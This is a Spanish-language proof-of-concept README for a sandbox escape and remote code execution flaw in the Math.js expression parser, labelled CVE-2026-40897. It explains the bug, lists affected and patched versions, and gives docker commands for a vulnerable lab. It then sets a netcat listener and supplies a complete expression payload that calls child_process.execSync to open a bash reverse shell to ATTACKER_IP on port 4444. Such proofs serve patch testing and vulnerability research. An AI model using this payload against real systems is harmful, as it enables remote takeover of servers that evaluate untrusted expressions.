
RCE en el analizador de expresiones de Math.js
★ CVE-2026-40897 PoC de Ejecución Remota de Código en Math.js ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 es una vulnerabilidad de Omisión de Sandbox que conduce a Ejecución Remota de Código en el parser de expresiones de Math.js. El filtro
isSafePropertysolo comprueba el acceso a propiedades desde expresiones de usuario, no desde rutas internas del código. Al filtrar el array interno deArrayNodemediantetoJSON()y sobrescribir su.map, un atacante puede forzar al código interno a acceder aFunction.constructory ejecutar JavaScript arbitrario.
| Categoría | Versión |
|---|---|
| Vulnerable | Math.js 13.1.1 ≤ versión ≤ 15.1.1 |
| Parcheada | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Después de iniciar el entorno vulnerable, sigue los pasos a continuación para reproducir el ataque.
nc -lvnp 4444
Envía la siguiente expresión a math.evaluate (p. ej., a través de la entrada de cálculo de la aplicación).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
El servidor objetivo se conecta de vuelta al listener del atacante, otorgando una shell bash interactiva.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) a través del parser de expresiones